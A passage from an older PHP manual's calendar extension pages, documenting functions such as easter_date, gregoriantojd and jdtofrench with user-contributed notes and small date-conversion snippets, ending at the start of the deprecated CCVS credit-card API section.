           [2] => Heshvan
           [3] => Kislev
           [4] => Tevet
           [5] => Shevat
           [6] => AdarI
           [7] => AdarII
           [8] => Nisan
           [9] => Iyyar
           [10] => Sivan
           [11] => Tammuz
           [12] => Av
           [13] => Elul
       )

   [abbrevmonths] => Array
       (
           [1] => Tishri
           [2] => Heshvan
           [3] => Kislev
           [4] => Tevet
           [5] => Shevat
           [6] => AdarI
           [7] => AdarII
           [8] => Nisan
           [9] => Iyyar
           [10] => Sivan
           [11] => Tammuz
           [12] => Av
           [13] => Elul
       )

   [maxdaysinmonth] => 30
   [calname] => Jewish
   [calsymbol] => CAL_JEWISH
)

cal_info( CAL_FRENCH ) = Array
(
   [months] => Array
       (
           [1] => Vendemiaire
           [2] => Brumaire
           [3] => Frimaire
           [4] => Nivose
           [5] => Pluviose
           [6] => Ventose
           [7] => Germinal
           [8] => Floreal
           [9] => Prairial
           [10] => Messidor
           [11] => Thermidor
           [12] => Fructidor
           [13] => Extra
       )

   [abbrevmonths] => Array
       (
           [1] => Vendemiaire
           [2] => Brumaire
           [3] => Frimaire
           [4] => Nivose
           [5] => Pluviose
           [6] => Ventose
           [7] => Germinal
           [8] => Floreal
           [9] => Prairial
           [10] => Messidor
           [11] => Thermidor
           [12] => Fructidor
           [13] => Extra
       )

   [maxdaysinmonth] => 30
   [calname] => French
   [calsymbol] => CAL_FRENCH
)
lovan at lifesci dot ucsb dot edu
08-Mar-2002 08:55
I think I've identified the calendar indexes used in the 'cal_*' functions, though this may be incomplete.
   0  - Gregorian
   1  - Julian
   2  - Jewish
   3  - French Revolutionary
add a note add a note

后退 | 起点 | 前进
cal_from_jd | 上一级 | cal_to_jd


cal_to_jd

(PHP 4 >= 4.1.0, PHP 5)

cal_to_jd -- Converts from a supported calendar to Julian Day Count

Description

int cal_to_jd ( int calendar, int month, int day, int year )

cal_to_jd() calculates the Julian day count for a date in the specified calendar. Supported calendars are CAL_GREGORIAN, CAL_JULIAN, CAL_JEWISH and CAL_FRENCH.

See also cal_from_jd().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cal_info | 上一级 | easter_date


easter_date

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

easter_date -- Get Unix timestamp for midnight on Easter of a given year

Description

int easter_date ( [int year] )

Returns the Unix timestamp corresponding to midnight on Easter of the given year.

Since PHP 4.3.0, the year parameter is optional and defaults to the current year according to the localtime if omitted.

例子 1. easter_date() example

<?php

echo date("M-d-Y", easter_date(1999));        // Apr-04-1999
echo date("M-d-Y", easter_date(2000));        // Apr-23-2000
echo date("M-d-Y", easter_date(2001));        // Apr-15-2001

?>

警告

This function will generate a warning if the year is outside of the range for Unix timestamps (i.e. before 1970 or after 2037).

The date of Easter Day was defined by the Council of Nicaea in AD325 as the Sunday after the first full moon which falls on or after the Spring Equinox. The Equinox is assumed to always fall on 21st March, so the calculation reduces to determining the date of the full moon and the date of the following Sunday. The algorithm used here was introduced around the year 532 by Dionysius Exiguus. Under the Julian Calendar (for years before 1753) a simple 19-year cycle is used to track the phases of the Moon. Under the Gregorian Calendar (for years after 1753 - devised by Clavius and Lilius, and introduced by Pope Gregory XIII in October 1582, and into Britain and its then colonies in September 1752) two correction factors are added to make the cycle more accurate.

(The code is based on a C program by Simon Kershaw, <webmaster at ely.anglican dot org>)

See easter_days() for calculating Easter before 1970 or after 2037.

add a note add a note User Contributed Notes
phpuser
09-Nov-2004 12:17
The algorithm from Bigtree is correct if you add some (int) cast
<?php
   function easter_date ($Year) {

       /*
       G is the Golden Number-1
       H is 23-Epact (modulo 30)
       I is the number of days from 21 March to the Paschal full moon
       J is the weekday for the Paschal full moon (0=Sunday,
         1=Monday, etc.)
       L is the number of days from 21 March to the Sunday on or before
         the Paschal full moon (a number between -6 and 28)
       */

         $G = $Year % 19;
         $C = (int)($Year / 100);
         $H = (int)($C - (int)($C / 4) - (int)((8*$C+13) / 25) + 19*$G + 15) % 30;
         $I = (int)$H - (int)($H / 28)*(1 - (int)($H / 28)*(int)(29 / ($H + 1))*((int)(21 - $G) / 11));
         $J = ($Year + (int)($Year/4) + $I + 2 - $C + (int)($C/4)) % 7;
         $L = $I - $J;
         $m = 3 + (int)(($L + 40) / 44);
         $d = $L + 28 - 31 * ((int)($m / 4));
         $y = $Year;
         $E = mktime(0,0,0, $m, $d, $y);

         return $E;

   }
?>
ray at non-aol dot com
07-Nov-2004 08:49
The algorithm from BigTree will throw an error in 2021 and 2025.  Better to install the PHP functions!  Details here:

http://aa.usno.navy.mil/faq/docs/easter.html
bigtree at 29a dot DONTSPAM dot nl
17-May-2002 11:41
A much smaller hack is the following. I ported this from a Delphi implementation of a function calculating easter dates.

<?php
   function easter_date ($Year) {

       /*
       G is the Golden Number-1
       H is 23-Epact (modulo 30)
       I is the number of days from 21 March to the Paschal full moon
       J is the weekday for the Paschal full moon (0=Sunday,
         1=Monday, etc.)
       L is the number of days from 21 March to the Sunday on or before
         the Paschal full moon (a number between -6 and 28)
       */

         $G = $Year % 19;
         $C = (int)($Year / 100);
         $H = (int)($C - ($C / 4) - ((8*$C+13) / 25) + 19*$G + 15) % 30;
         $I = (int)$H - (int)($H / 28)*(1 - (int)($H / 28)*(int)(29 / ($H + 1))*((int)(21 - $G) / 11));
         $J = ($Year + (int)($Year/4) + $I + 2 - $C + (int)($C/4)) % 7;
         $L = $I - $J;
         $m = 3 + (int)(($L + 40) / 44);
         $d = $L + 28 - 31 * ((int)($m / 4));
         $y = $Year;
         $E = mktime(0,0,0, $m, $d, $y);

         return $E;

   }
?>
add a note add a note

后退 | 起点 | 前进
cal_to_jd | 上一级 | easter_days


easter_days

(PHP 3 >= 3.0.9, PHP 4, PHP 5)

easter_days -- Get number of days after March 21 on which Easter falls for a given year

Description

int easter_days ( [int year [, int method]] )

Returns the number of days after March 21 on which Easter falls for a given year. If no year is specified, the current year is assumed.

Since PHP 4.3.0, the year parameter is optional and defaults to the current year according to the localtime if omitted.

The method parameter was also introduced in PHP 4.3.0 and allows to calculate easter dates based on the Gregorian calendar during the years 1582 - 1752 when set to CAL_EASTER_ROMAN. See the calendar constants for more valid constants.

This function can be used instead of easter_date() to calculate Easter for years which fall outside the range of Unix timestamps (i.e. before 1970 or after 2037).

例子 1. easter_days() example

<?php

echo easter_days(1999);        // 14, i.e. April 4
echo easter_days(1492);        // 32, i.e. April 22
echo easter_days(1913);        //  2, i.e. March 23

?>

The date of Easter Day was defined by the Council of Nicaea in AD325 as the Sunday after the first full moon which falls on or after the Spring Equinox. The Equinox is assumed to always fall on 21st March, so the calculation reduces to determining the date of the full moon and the date of the following Sunday. The algorithm used here was introduced around the year 532 by Dionysius Exiguus. Under the Julian Calendar (for years before 1753) a simple 19-year cycle is used to track the phases of the Moon. Under the Gregorian Calendar (for years after 1753 - devised by Clavius and Lilius, and introduced by Pope Gregory XIII in October 1582, and into Britain and its then colonies in September 1752) two correction factors are added to make the cycle more accurate.

(The code is based on a C program by Simon Kershaw, <webmaster at ely.anglican dot org>)

See also easter_date().

add a note add a note User Contributed Notes
ian at eiloart dot com-NOSPAM
20-Nov-2001 03:43
Also, be aware that the eastern orthodox churches sometimes have different dates for easter. See, for example <http://webexhibits.org/calendars/calendar-christian-easter.html>. And note that the dates of easter a subject to change,  for example, the churches might some day decide to unify the dates.
martin at diers dot cc
16-Aug-2001 01:59
This function appears to be Britanno-centric. When attempting to calculate the Gregorian date for Easter for years prior to 1753, the function returns the number or days since March 21st in the Julian Calendar, even though the Gregorian system was in effect in the rest of Europe since 1582. If you wish to calculate the date of easter for a Gregorian date from 1582 onward, use the following function, which duplicates the funcionality of easter_days:

   function easter_days2($year) {
       #First calculate the date of easter using Delambre's algorithm.
       $a = $year % 19;
       $b = floor($year / 100);
       $c = $year % 100;
       $d = floor($b / 4);
       $e = $b % 4;
       $f = floor(($b + 8) / 25);
       $g = floor(($b - $f + 1) / 3);
       $h = (19 * $a + $b - $d - $g + 15) % 30;
       $i = floor($c / 4);
       $k = $c % 4;
       $l = (32 + 2 * $e + 2 * $i - $h - $k) % 7;
       $m = floor(($a + 11 * $h + 22 * $l) / 451);
       $n = ($h + $l - 7 * $m + 114);
       $month = floor($n / 31);
       $day = $n % 31 + 1;

       #Return the difference between the JulianDayCount for easter and March 21'st
       #of the same year, in order to duplicate the functionality of the easter_days function
       return GregorianToJD($month, $day, $year) - GregorianToJD(3,21,$year);
   }
add a note add a note

后退 | 起点 | 前进
easter_date | 上一级 | FrenchToJD


FrenchToJD

(PHP 3, PHP 4, PHP 5)

FrenchToJD -- Converts a date from the French Republican Calendar to a Julian Day Count

Description

int frenchtojd ( int month, int day, int year )

Converts a date from the French Republican Calendar to a Julian Day Count.

These routines only convert dates in years 1 through 14 (Gregorian dates 22 September 1792 through 22 September 1806). This more than covers the period when the calendar was in use.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
easter_days | 上一级 | GregorianToJD


GregorianToJD

(PHP 3, PHP 4, PHP 5)

GregorianToJD -- Converts a Gregorian date to Julian Day Count

Description

int gregoriantojd ( int month, int day, int year )

Valid Range for Gregorian Calendar 4714 B.C. to 9999 A.D.

Although this function can handle dates all the way back to 4714 B.C., such use may not be meaningful. The Gregorian calendar was not instituted until October 15, 1582 (or October 5, 1582 in the Julian calendar). Some countries did not accept it until much later. For example, Britain converted in 1752, The USSR in 1918 and Greece in 1923. Most European countries used the Julian calendar prior to the Gregorian.

例子 1. Calendar functions

<?php
$jd = GregorianToJD(10, 11, 1970);
echo "$jd\n";
$gregorian = JDToGregorian($jd);
echo "$gregorian\n";
?>

add a note add a note User Contributed Notes
ryker at ridgex dot net
06-Jun-2006 11:27
/*
* ComputeDateDifference(...)
*  Description:
*    Calculates the difference between two dates.
*
*  Parameter:
*    $m0, $d0, $y0  => 1. Moth/Day/Year
*    $m1, $d1, $y1  => 2. Moth/Day/Year
*
*  Return:
*    Difference between given dates in days.
*
*  Autor:
*    06.06.2006 - Christian Meyer <ryker@ridgex.net>
*/
function ComputeDateDifference($m0,$d0,$y0,$m1,$d1,$y1)
{
  $x0 = gregoriantojd($m0,$d0,$y0);
  $x1 = gregoriantojd($m1,$d1,$y1);

  $diff = $x1 - $x0;

  if ($diff < 0)
   $diff *= -1; // abs

  return $diff;
}
jettyrat at jettyfishing dot com
18-Mar-2005 05:34
You can obtain the decimal fraction of the Julian date with the php gregoriantojd() function or the function shown below by applying this code to the returned value.

  $julianDate = gregoriantojd($month, $day, $year);

  //correct for half-day offset
  $dayfrac = date('G') / 24 - .5;
  if ($dayfrac < 0) $dayfrac += 1;

  //now set the fraction of a day
  $frac = $dayfrac + (date('i') + date('s') / 60) / 60 / 24;

  $julianDate = $julianDate + $frac;
httpwebwitch
09-Jun-2004 07:04
This function also ignores decimal fractions in JD dates, and it uses non-standard format for returning the Gregorian date.

So, if your JD date is 2453056.28673, the Gregorian returned value is 2/20/2004, not "2004-02-20 23:45:36"

The decimal part is important, since the Julian day begins at noon, for example 2453056.49 is on Friday, 2453056.50 is on Saturday. Discarding the decimal part means that your returned Gregorian Date will be wrong 50% of the time.
add a note add a note

后退 | 起点 | 前进
FrenchToJD | 上一级 | JDDayOfWeek


JDDayOfWeek

(PHP 3, PHP 4, PHP 5)

JDDayOfWeek -- Returns the day of the week

Description

mixed jddayofweek ( int julianday [, int mode] )

Returns the day of the week. Can return a string or an integer depending on the mode.

表格 1. Calendar week modes

Mode | Meaning
0 (Default) | Returns the day number as an int (0=Sunday, 1=Monday, etc)
1 | Returns string containing the day of week (English-Gregorian)
2 | Returns a string containing the abbreviated day of week (English-Gregorian)

add a note add a note User Contributed Notes
nrkkalyan at rediffmail dot com
26-Feb-2005 02:08
You can get todays day time and date using this code

echo date("d")." ";
echo date("m")." ";
echo date("Y")." ";
echo date("h:i:s A");

ECHO ' <br/>';
echo jddayofweek ( cal_to_jd(CAL_GREGORIAN, date("m"),date("d"), date("Y")) , 1 );
rizwan at drexel dot edu
17-Jan-2005 01:52
Maybe it is me since I am a newb but the above post on the use of mktime is wrong.  You need to use GregorianToJD instead.  I noticed this because when I used mktime, my day labels went backwards as I went forward through the month.
php at xtramicro dot com
07-Sep-2004 11:28
Be aware that date() and mktime() only work as long as you move within the UNIX era (1970 - 2038 / 0x0 - 0x7FFFFFFF in seconds). Outside that era those functions are only generating errors.

In other words: mktime(0, 0, 0, 12, 31, 1969) *DOES NOT* work (and so doesn't date() fed with with mktime()'s result from above). But cal_to_jd(CAL_GREGORIAN, 12, 11, 1969) *DOES WORK*.

And please note that the calendar-extension's functions arguments follow the US date order: month - day - year.
add a note add a note

后退 | 起点 | 前进
GregorianToJD | 上一级 | JDMonthName


JDMonthName

(PHP 3, PHP 4, PHP 5)

JDMonthName -- Returns a month name

Description

string jdmonthname ( int julianday, int mode )

Returns a string containing a month name. mode tells this function which calendar to convert the Julian Day Count to, and what type of month names are to be returned.

表格 1. Calendar modes

Mode | Meaning | Values
0 | Gregorian - abbreviated | Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec
1 | Gregorian | January, February, March, April, May, June, July, August, September, October, November, December
2 | Julian - abbreviated | Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec
3 | Julian | January, February, March, April, May, June, July, August, September, October, November, December
4 | Jewish | Tishri, Heshvan, Kislev, Tevet, Shevat, AdarI, AdarII, Nisan, Iyyar, Sivan, Tammuz, Av, Elul
5 | French Republican | Vendemiaire, Brumaire, Frimaire, Nivose, Pluviose, Ventose, Germinal, Floreal, Prairial, Messidor, Thermidor, Fructidor, Extra

add a note add a note User Contributed Notes
Shai
25-Sep-2005 06:12
YIQV, this should correct your issue with Adar being displayed as AdarI:

<?php

// assuming that $jewish_month is the Jewish month,
// and $jewish_year is the Jewish year,
// you can use this script to replace 'Adar I' with 'Adar' when it is not a leap year.
// this is because a Jewish leap year occurs every 3rd, 6th, 8th, 11th, 14th, 17th, and 19th year.

if(    $jewish_month == "AdarI" &&
   $jewish_year%19 != 0 &&
   $jewish_year%19 != 3 &&
   $jewish_year%19 != 6 &&
   $jewish_year%19 != 8 &&
   $jewish_year%19 != 11 &&
   $jewish_year%19 != 14 &&
   $jewish_year%19 != 17
) {

   $jewish_month = "Adar";

}

?>
YIQV
31-Jan-2005 02:47
I am finding an inconsistency in the Jewish month Adar. The function always returns AdarI regardless of whether the year is a jewish leapyear. The month is known as Adar (not AdarI) in non-leap years. Also when using function jdtojewish with bool hebrew set to true it always returns (ADR) and not (ADR A) when it's a leap year. AdarII in Hebrew and English seems to work properly.
php bob
14-Nov-2004 04:43
This is correct - remember that the Julian cal uses the correct latin - ie OCTober (octagon etc) is the 8th month. DECI (as in decimal etc etc) is the 10th month.
dmoren at mac dot com
14-Oct-2004 12:03
Slight error in the documentation above (though I believe the function works correctly). The Julian and Gregorian calendar options as noted above are reversed. Also, the documentation suggests that Julian and Gregorian have the same months, which is not the case. If you ask for the 10th month of the Julian calendar, you will get December instead of October (this produced some interesting results in a function I was working on...).
add a note add a note

后退 | 起点 | 前进
JDDayOfWeek | 上一级 | JDToFrench


JDToFrench

(PHP 3, PHP 4, PHP 5)

JDToFrench -- Converts a Julian Day Count to the French Republican Calendar

Description

string jdtofrench ( int juliandaycount )

Converts a Julian Day Count to the French Republican Calendar.

add a note add a note User Contributed Notes
squenz at titania dot bottoms-dream dot de
06-Apr-2006 11:25
ignivs remarks have been very helpful, as older versions of the documentation had an error

Nevertheless his code example can be a bit misleading:

$julian_date = juliantojd("09","18","1793");
$french_date = jdtofrench($julian_date);
echo $french_date; //will print 1/8/2
//Enjoy

e.g. for the date of Napoleon's coup d'tat (which has been November, 9, 1799)
the code will return:
"2/29/8" ;

which is WRONG: the day Napoleon overthrew the Directoire to become "Consul" of the French Republic (and later Emperor) was the
18th Brumaire (2nd month in the revolutionary calendar) of Year VIII.

The writer of the function assumed, quite reasonably in the context of the other calendar related functions, that the regular input date is JULIAN (even if this doesn't make very much sense in most contexts; converting the date of the old Russian calendar to the French revolutionary calendar might be a funny exercise, yet one which, in most cases, doesn't tend to be really necessary or helpful)

In short, to obtain a correct output, a standard date should be converted using the function gregoriantojd().

Here is a small piece of code to obtain the string data for a correctly converted gregorian date:

$arDateFrench = gregorian2FrenchDateArray(11, 9, 1799) ;

echo $arDateFrench[1] . "&nbsp;" . $arDateFrench[0] . "&nbsp;" . $arDateFrench[2] ;

/* the output will be:
   18 Brumaire VIII

*/

function gregorian2FrenchDateArray($m, $d, $y)
{

   $julian_date = gregoriantojd($m, $d, $y);
   $french = jdtofrench($julian_date);
   if($french == "0/0/0")
       return "" ;

   $arD = split("/", $french) ;

   // get the month name
   $monthname = FrenchMonthNames($arD[0]) ;

   /* convert the year number to roman digits (as most historians do and documents of the time did */
   $stryear = decrom($arD[2]) ;
   return array($monthname, $arD[1], $stryear ) ;
}

function FrenchMonthNames($mo)
{
   /* The names have been invented by Fabre d'glantine, a second or rather third rank poet
of primarily pastoral poems, with each name referring to the respective period in the agricultural year; e.g. "Vendmiaire" (approx. September) is derived from "vendange" ("harvest"), "Brumaire" (Ocotober/November) from "brume" ("fog") and so on ...    */

   $arMo = array("Vendmiaire",
                     "Brumaire",
                     "Frimaire",
                     "Nivse",
                     "Pluvise",
                     "Ventse",
                     "Germinal",
                     "Floral",
                     "Prairial",
                     "Messidor",
                     "Thermidor",
                     "Fructidor",
                     "Sansculottide") ;

   if($mo < count($arMo)+1)
       return $arMo[$mo-1] ;

}

function decrom($dec){
       $digits=array(
           1 => "I",
           4 => "IV",
           5 => "V",
           9 => "IX",
           10 => "X",
           40 => "XL",
           50 => "L",
           90 => "XC",
           100 => "C",
           400 => "CD",
           500 => "D",
           900 => "CM",
           1000 => "M"
       );
       krsort($digits);
       $retval="";
       foreach($digits as $key => $value){
           while($dec>=$key){
               $dec-=$key;
               $retval.=$value;
           }
       }
       return $retval;
}
ignivs at gmail dot com
20-Jan-2006 10:16
//An example:

$julian_date = juliantojd("09","18","1793");
$french_date = jdtofrench($julian_date);
echo $french_date; //will print 1/8/2
//Enjoy

//working on a month string class with real names
//igz~
serged at noos dot fr
29-Oct-2003 01:00
Very limited function:

(extract from source of 4.3.3)
These routines only convert dates in years 1 through 14 (Gregorian dates 22 September 1792 through 22 September 1806).  This more than  covers the period when the calendar was in use.

Pour les franais :
Ces routines ne converitssent les dates que de l'an 1  14 (du 22 septembre 1792 au 22 septembre 1806). Cela couvre plus que la priode pendant laquelle le calendrier  t utilis
add a note add a note

后退 | 起点 | 前进
JDMonthName | 上一级 | JDToGregorian


JDToGregorian

(PHP 3, PHP 4, PHP 5)

JDToGregorian -- Converts Julian Day Count to Gregorian date

Description

string jdtogregorian ( int julianday )

Converts Julian Day Count to a string containing the Gregorian date in the format of "month/day/year".

add a note add a note User Contributed Notes
pctips
07-Jul-2005 05:12
I have changed treebe's function a bit:

function jd_to_greg($julian) {
   $julian = $julian - 1721119;
   $calc1 = 4 * $julian - 1;
   $year = floor($calc1 / 146097);
   $julian = floor($calc1 - 146097 * $year);
   $day = floor($julian / 4);
   $calc2 = 4 * $day + 3;
   $julian = floor($calc2 / 1461);
   $day = $calc2 - 1461 * $julian;
   $day = floor(($day + 4) / 4);
   $calc3 = 5 * $day - 3;
   $month = floor($calc3 / 153);
   $day = $calc3 - 153 * $month;
   $day = floor(($day + 5) / 5);
   $year = 100 * $year + $julian;

   if ($month < 10) {
       $month = $month + 3;
   }
   else {
       $month = $month - 9;
       $year = $year + 1;
   }
   if ($day < 10) {
   $day = "0".$day;
   }
   if ($month < 10) {
   $month = "0".$month;
   }
   return $day."/".$month."/".$year;
}

So, if the in the old format the 1st January 2005 was "1.1.2005", now the function will return "01/01/2005". I hope it could be useful to someone :)
httpwebwitch
23-Jun-2004 01:37
JD days may have decimal fractions which correspond to the time of day. The Julian day begins at noon, and the decimal fraction measures fractional days until the beginning of the next day at noon.

For instance, Julian Day 2453179.00000 is June 22, 2004, at 12:00pm (noon).

One hour later, it's 2453179.04167
At 2453179.20833 I'll have dinner, and
at 2453179.45833, it's time for the evening news.
After a good night of sleep, my alarm will go off at 2453179.83333,
then at noon on June 23, a new Julian Day begins at 2453180.

To use these functions with fractional days, strip the fractional part with floor(), and apply the function to the integer part.

Then add 12 hours, bringing you to noon of that day. That is the actual time returned by JDToGregorian().

Then add the fractional part of the day, by multiplying the decimal part of the Julian Day by (24*60*60) seconds. This may take you forward or backward to a different Gregorian calendar date.
uni_fl4r3 at t hotmail dot com
14-Sep-2003 11:05
I have made a slight modification to treebe's jd to greg function, this one will transform a unix timestamp to Gregorian day/month/year format...

function unix_to_greg($unix_timestamp) {
   $julian = floor(((($unix_timestamp / "60") / "60") / "24") + "2440588");
   $julian = $julian - 1721119;
   $calc1 = 4 * $julian - 1;
   $year = floor($calc1 / 146097);
   $julian = floor($calc1 - 146097 * $year);
   $day = floor($julian / 4);
   $calc2 = 4 * $day + 3;
   $julian = floor($calc2 / 1461);
   $day = $calc2 - 1461 * $julian;
   $day = floor(($day + 4) / 4);
   $calc3 = 5 * $day - 3;
   $month = floor($calc3 / 153);
   $day = $calc3 - 153 * $month;
   $day = floor(($day + 5) / 5);
   $year = 100 * $year + $julian;

   if ($month < 10)
   {
       $month = $month + 3;
   }else{
       $month = $month - 9;
       $year = $year + 1;
   }
   return "$day.$month.$year";
}
treebe
31-May-2003 08:01
Julian to Gregorian date change.
If you do not have the calendar extensions loaded this is little function works realy well.

function jd_to_greg($julian) {
   $julian = $julian - 1721119;
   $calc1 = 4 * $julian - 1;
   $year = floor($calc1 / 146097);
   $julian = floor($calc1 - 146097 * $year);
   $day = floor($julian / 4);
   $calc2 = 4 * $day + 3;
   $julian = floor($calc2 / 1461);
   $day = $calc2 - 1461 * $julian;
   $day = floor(($day + 4) / 4);
   $calc3 = 5 * $day - 3;
   $month = floor($calc3 / 153);
   $day = $calc3 - 153 * $month;
   $day = floor(($day + 5) / 5);
   $year = 100 * $year + $julian;

   if ($month < 10) {
       $month = $month + 3;
   }
   else {
       $month = $month - 9;
       $year = $year + 1;
   }
   return "$day.$month.$year";
}
19-Jun-2002 10:19
Julian to Gregorian date change.
If you do not have the calendar extensions loaded this is little function works realy well.
add a note add a note

后退 | 起点 | 前进
JDToFrench | 上一级 | jdtojewish


jdtojewish

(PHP 3, PHP 4, PHP 5)

jdtojewish -- Converts a Julian day count to a Jewish calendar date

Description

string jdtojewish ( int juliandaycount [, bool hebrew [, int fl]] )

Converts a Julian Day Count to the Jewish Calendar.

The optional hebrew and fl parameters became available in PHP 5.0.0

If the hebrew parameter is set to TRUE, the fl parameter is used for Hebrew, string based, output format. The available formats are: CAL_JEWISH_ADD_ALAFIM_GERESH, CAL_JEWISH_ADD_ALAFIM, CAL_JEWISH_ADD_GERESHAYIM.

例子 1. jdtojewish() Example

<?php
echo jdtojewish(gregoriantojd(10, 8, 2002), true,
       CAL_JEWISH_ADD_GERESHAYIM + CAL_JEWISH_ADD_ALAFIM + CAL_JEWISH_ADD_ALAFIM_GERESH);
?>

add a note add a note User Contributed Notes
gr8g0thamguy at yahoo dot com
02-Sep-2003 02:39
Based on the code already posted by Dave, I've modified it to display the *current* date on a page:

<?php

$gregorianMonth = date(n);
$gregorianDay = date(j);
$gregorianYear = date(Y);

$jdDate = gregoriantojd($gregorianMonth,$gregorianDay,$gregorianYear);

$hebrewMonthName = jdmonthname($jdDate,4);

$hebrewDate = jdtojewish($jdDate);

list($hebrewMonth, $hebrewDay, $hebrewYear) = split('/',$hebrewDate);

echo "$hebrewDay $hebrewMonthName $hebrewYear";
?>
dave_at_mitzvahweb.com
05-Mar-2002 08:04
There's probably a simpler way to do this, but I needed to convert a Gregorian date to a Hebrew one and display it with the Hebrew month name (not the number).

Perhaps it can help somebody...

<?

//enter your Gregorian date with the variables $gregorianMonth, $gregorianDay, and $gregorianYear using the numerical representation of the month

$jdDate = gregoriantojd ( $gregorianMonth, $gregorianDay, $gregorianYear);

$gregorianMonthName = jdmonthname ( $jdDate, 1 );

$hebrewDate = jdtojewish ($jdDate);

list ($hebrewMonth, $hebrewDay, $hebrewYear) = split ('/', $hebrewDate);

$hebrewMonthName = jdmonthname ( $jdDate, 4);

 echo "Your date in Hebrew would read: $hebrewDay $hebrewMonthName $hebrewYear";

?>
add a note add a note

后退 | 起点 | 前进
JDToGregorian | 上一级 | JDToJulian


JDToJulian

(PHP 3, PHP 4, PHP 5)

JDToJulian -- Converts a Julian Day Count to a Julian Calendar Date

Description

string jdtojulian ( int julianday )

Converts Julian Day Count to a string containing the Julian Calendar Date in the format of "month/day/year".

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
jdtojewish | 上一级 | jdtounix


jdtounix

(PHP 4, PHP 5)

jdtounix -- Convert Julian Day to Unix timestamp

Description

int jdtounix ( int jday )

This function will return a Unix timestamp corresponding to the Julian Day given in jday or FALSE if jday is not inside the Unix epoch (Gregorian years between 1970 and 2037 or 2440588 <= jday <= 2465342 ). The time returned is localtime (and not GMT).

See also unixtojd().

add a note add a note User Contributed Notes
27-Jan-2005 10:50
Warning: the calender functions involving julian day operations seem to ignore the decimal part of the julian day count.

This means that the returned date is wrong 50% of the time, since a julian day starts at decimal .5 .  Take care!!
seb at carbonauts dot com
22-Oct-2003 03:10
Remember that unixtojd() assumes your timestamp is in GMT, but jdtounix() returns a timestamp in localtime.

This fooled me a few times.

So if you have:

$timestamp1 = time();
$timestamp2 = jdtounix(unixtojd($timestamp1));

Unless your localtime is the same as GMT, $timestamp1 will not equal $timestamp2.
pipian at pipian dot com
13-Jun-2003 12:29
Remember that UNIX timestamps indicate a number of seconds from midnight of January 1, 1970 on the Gregorian calendar, not the Julian Calendar.
add a note add a note

后退 | 起点 | 前进
JDToJulian | 上一级 | JewishToJD


JewishToJD

(PHP 3, PHP 4, PHP 5)

JewishToJD -- Converts a date in the Jewish Calendar to Julian Day Count

Description

int jewishtojd ( int month, int day, int year )

Although this function can handle dates all the way back to the year 1 (3761 B.C.), such use may not be meaningful. The Jewish calendar has been in use for several thousand years, but in the early days there was no formula to determine the start of a month. A new month was started when the new moon was first observed.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
jdtounix | 上一级 | JulianToJD


JulianToJD

(PHP 3, PHP 4, PHP 5)

JulianToJD -- Converts a Julian Calendar date to Julian Day Count

Description

int juliantojd ( int month, int day, int year )

Valid Range for Julian Calendar 4713 B.C. to 9999 A.D.

Although this function can handle dates all the way back to 4713 B.C., such use may not be meaningful. The calendar was created in 46 B.C., but the details did not stabilize until at least 8 A.D., and perhaps as late at the 4th century. Also, the beginning of a year varied from one culture to another - not all accepted January as the first month.

注意

Remember, the current calendar system being used worldwide is the Gregorian calendar. gregoriantojd() can be used to convert such dates to their Julian Day count.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
JewishToJD | 上一级 | unixtojd


unixtojd

(PHP 4, PHP 5)

unixtojd -- Convert Unix timestamp to Julian Day

Description

int unixtojd ( [int timestamp] )

Return the Julian Day for a Unix timestamp (seconds since 1.1.1970), or for the current day if no timestamp is given.

See also jdtounix().

add a note add a note User Contributed Notes
warhog at warhog d0t net
13-Jul-2005 05:11
Well, that's neither a bug, nor an interesting quirk.. The explanation is quite simple:

The Integer containing a julian date (jd) only stores the date, not the time. When you convert a unix-timestamp, which stores also the time, into a jd, the time-information won't be transferred into the jd. When converting back the jd into a unix-timestamp, you'll get a timestamp for the specific day at 2 o'clock am. ( 02:00:00 )

Sample:
   Timestamp: 1121206013
   JD: 2453565

   Timestamp from JD: 1121212800

   Original Timestamp "d.m.y H:i:s": 13.07.2005 00:06:53
   Timstamp from JD "d.m.y H:i:s": 13.07.2005 02:00:00

greetz
Mike
22-Dec-2004 12:57
Interesting quirk ... maybe bug.
If you use today = unixtojd(time())
then use jdtounix(today) the result is one day short of today.
johnston at capsaicin dot ca
20-Nov-2003 05:43
Also note that epoch is in UTC time (epoch is a specific point in time - epoch is not different for every time zone), so be aware of timezone complexities.
pipian at pipian dot com
13-Jun-2003 12:29
Remember that UNIX timestamps indicate a number of seconds from midnight of January 1, 1970 on the Gregorian calendar, not the Julian Calendar.
add a note add a note

后退 | 起点 | 前进
JulianToJD | 上一级 | CCVS API Functions [deprecated]


CCVS API Functions [deprecated]

PHP 手册
后退 前进

X. CCVS API Functions [deprecated]

简介

These functions interface the CCVS API, allowing you to work directly with CCVS from your PHP scripts. CCVS is RedHat's solution to the "middle-man" in credit card processing. It lets you directly address the credit card clearing houses via your *nix box and a modem. Using the CCVS module for PHP, you can process credit cards directly through CCVS via your PHP Scripts. The following references will outline the process.

注: CCVS has been discontinued by Red Hat and there are no plans to issue further keys or support contracts. Those looking for a replacement can consider MCVE by Main Street Softworks as a potential replacement. It is similar in design and has documented PHP support!

This extension has been removed from PHP and is no longer available as of PHP 4.3.0. If you want to use credit card processing features you can use MCVE instead.

安装

To enable CCVS Support in PHP, first verify your CCVS installation directory. You will then need to configure PHP with the --with-ccvs option. If you use this option without specifying the path to your CCVS installation, PHP will attempt to look in the default CCVS Install location (/usr/local/ccvs). If CCVS is in a non-standard location, run configure with: --with-ccvs=[DIR], where DIR is the path to your CCVS installation. Please note that CCVS support requires that DIR/lib and DIR/include exist, and include cv_api.h under the include directory and libccvs.a under the lib directory.

Additionally, a ccvsd process will need to be running for the configurations you intend to use in your PHP scripts. You will also need to make sure the PHP Processes are running under the same user as your CCVS was installed as (e.g. if you installed CCVS as user 'ccvs', your PHP processes must run as 'ccvs' as well.)

参见

RedHat has discontinued support for CCVS; however, a slightly outdated manual is still available at http://www.redhat.com/docs/manuals/ccvs/.

目录
ccvs_add -- Add data to a transaction
